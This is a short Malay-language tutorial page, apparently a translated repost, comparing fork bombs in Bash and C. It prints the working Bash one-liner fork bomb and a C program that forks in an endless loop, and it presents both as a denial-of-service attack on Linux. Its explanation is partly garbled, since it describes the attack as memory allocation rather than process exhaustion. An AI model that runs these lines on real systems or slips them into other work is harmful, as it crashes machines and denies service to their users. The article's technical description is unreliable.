Bom C lwn BASH Fork?

王林
Lepaskan: 2023-09-13 10:25:02
ke hadapan
1399 orang telah melayarinya

C vs BASH Fork bomb? C对BASH的Fork炸弹?

Bom Fork() ialah serangan Dos (Penolakan Perkhidmatan) pada sistem berasaskan Linux. Ini memanggil sistem Fork() beberapa kali yang tidak terhingga, mengisi memori program dengan niat untuk merosakkan sistem.

Skrip Bash untuk fork bomb

:(){ :|: & };:
Salin selepas log masuk

Kod dijelaskan sebagai: ( ) ialah takrifan fungsi, { } mentakrifkan badan gelung. :|:& mencipta lokasi memori dan tidak membenarkannya dibebaskan. Program ini memanggil dirinya beberapa kali, lagi dan lagi. Ini membolehkan panggilan tanpa had.

C fork bomb juga adalah jenis DOS yang sama, tetapi ia dijalankan pada pengkompil C. Ini mencipta panggilan tak terhingga kepada peruntukan memori dan menyebabkan sistem kehabisan memori.

Contoh

#include <unistd.h>
#include <malloc.h>
int main() {
   while (1) {
      fork();
   }
}
Salin selepas log masuk

Output

Infinite calls
Salin selepas log masuk

Atas ialah kandungan terperinci Bom C lwn BASH Fork?. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

sumber:tutorialspoint.com
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan
Tentang kita Penafian Sitemap
Laman web PHP Cina:Latihan PHP dalam talian kebajikan awam,Bantu pelajar PHP berkembang dengan cepat!